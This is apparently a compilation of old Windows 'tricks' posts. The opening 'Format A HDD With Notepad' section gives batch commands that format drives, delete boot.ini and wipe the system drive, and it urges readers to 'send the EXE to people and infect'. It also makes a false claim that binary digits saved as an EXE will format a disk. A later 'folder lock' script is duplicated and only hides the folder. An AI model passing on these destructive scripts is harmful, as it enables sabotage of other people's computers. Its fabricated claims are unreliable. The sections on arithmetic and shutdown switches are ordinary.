Format A HDD With Notepad
If you think that Notepad is useless then
you are wrong because you can now do a lot of things with the Notepad
which you could have never imagined. In this hack I will show you
how to format a HDD using Notepad. This is really cool.
Step 1 :-
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do
Step 3 :-
Send the EXE to People And Infect
Send the EXE to People And Infect
OR
IF you think cannot format C Drive when windows is running try
Laughing and u will get it Razz .. any way some more so u can test
on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not
to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
try to figure out yourself rest
cant spoon feed
its working
Do not try it on your PC. Don’t mess around this is for educational
purpose only
still if you cant figure it out try this
go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as Dell.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file
Folder Lock Without Any Software
Folder Lock With Password Without Any Software-
Paste the code given below in notepad and 'Save' it as batch file
(with extension '.bat').
Any name will do.
Then you see a batch file. Double click on this
batch file to create a folder locker.
New folder named 'Locker' would
be formed at the same location.
Now bring all the files you want to hide in the 'Locker' folder. Double
click on the batch file to lock the folder namely 'Locker'.
If you want to unlock your files,double click
the batch file again and you would be prompted for password.
Enter
the password and enjoy access to the folder.
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
Calculations On Command Prompt
The command processor CMD.EXE comes with a mini-calculator that can
perform simple arithmetic on 32-bit signed integers:
C:\>set /a 2+2
4
C:\>set /a 2*(9/2)
8
C:\>set /a (2*9)/2
9
C:\>set /a "31>>2"
7
Note that we had to quote the shift operator since it would otherwise
be misinterpreted as a "redirect stdout and append" operator.
For more information, type set /? at the command prompt.
Reveal *****(Asterisk) Passwords Using Javascript
Want to Reveal the Passwords Hidden Behind Asterisk
(****) ?
Follow the steps given below-
1) Open the Login Page of any website. (eg. http://mail.yahoo.com)
2) Type your 'Username' and 'Password'.
3) Copy and paste the JavaScript code given below
into your browser's address bar and press 'Enter'.
javascript: alert(document.getElementById('Passwd').value);
4) As soon as you press 'Enter', A window pops up
showing Password typed by you..!
Note :- This trick may not be working with firefox.
Shutdown Command Via Command Prompt
The 'Shutdown' Command Becomes More Flexible
and Automated when used from the Command Prompt.
To Run the 'Shutdown' command from the command prompt, go to 'Start
> Run', type 'cmd', and press 'Enter'.
In the black box (the command prompt) type 'Shutdown' and the Switches
you want to use with the 'Shutdown' command.
You have to use at least
one switch for the shutdown command to work.
The Switches :-
The 'Shutdown' command has a few options called Switches. You can
always see them by typing 'shutdown -?' in the command prompt if you
forget any of them.
-i: Display GUI interface, must be the first option
-l: Log off (cannot be used with -m option)
-s: Shutdown the computer
-r: Shutdown and restart the computer
-a: Abort a system shutdown
-m \\computername: Remote computer to shutdown/restart/abort
-t xx: Set timeout for shutdown to xx seconds
-c “comment”: Shutdown comment (maximum
of 127 characters)
-f: Forces running applications to close without
warning
-d [u][p]:xx:yy: The reason code for the shutdown
u is the user code p is a planned shutdown code xx is the major reason
code (positive integer less than 256) yy is the minor reason code
(positive integer less than 65536)
Note :- I’ve noticed using a switch with a
'-' sign doesn’t work sometimes.
If you are having trouble try using a '/' in place of '-' in your
switches.
Examples :-
shutdown –m \\computername –r –f
This command will
restart the computer named computername and force any programs that
might still be running to stop.
shutdown –m \\computername –r –f –c “I’m
restarting your computer. Please save your work now.” –t
120
This command will restart the computer named computername, force
any programs that might still be running to stop, give to user on
that computer a message, and countdown 120 seconds before it restarts.
shutdown –m \\computername –a
This command will abort
a previous shutdown command that is in progress.
Using A Batch File :-
You can create a file that performs the shutdown command on many computers
at one time.
In this example I’m going to create a batch file that will
use the shutdown command to shut down 3 computers on my home network
before I go to bed.
Open 'Notepad' and type the shutdown command to shut down a computer
for each computer on the network.
Make sure each shutdown command
is on its own line.
An example of what should be typed in notepad is given below-
shutdown –m \\computer1 –s
shutdown –m \\computer2 –s
shutdown –m \\computer3 -s
Now I’ll save it as a batch file by going to file, save as,
change save as type to all files, give the file a name ending with
'.bat'. I named mine 'shutdown.bat'.
Pick the location to save the
batch file in and save it.
When you run the batch file it’ll shutdown computer 1, 2, and
3 for you.
You can use any combination of shutdown commands in a batch file.
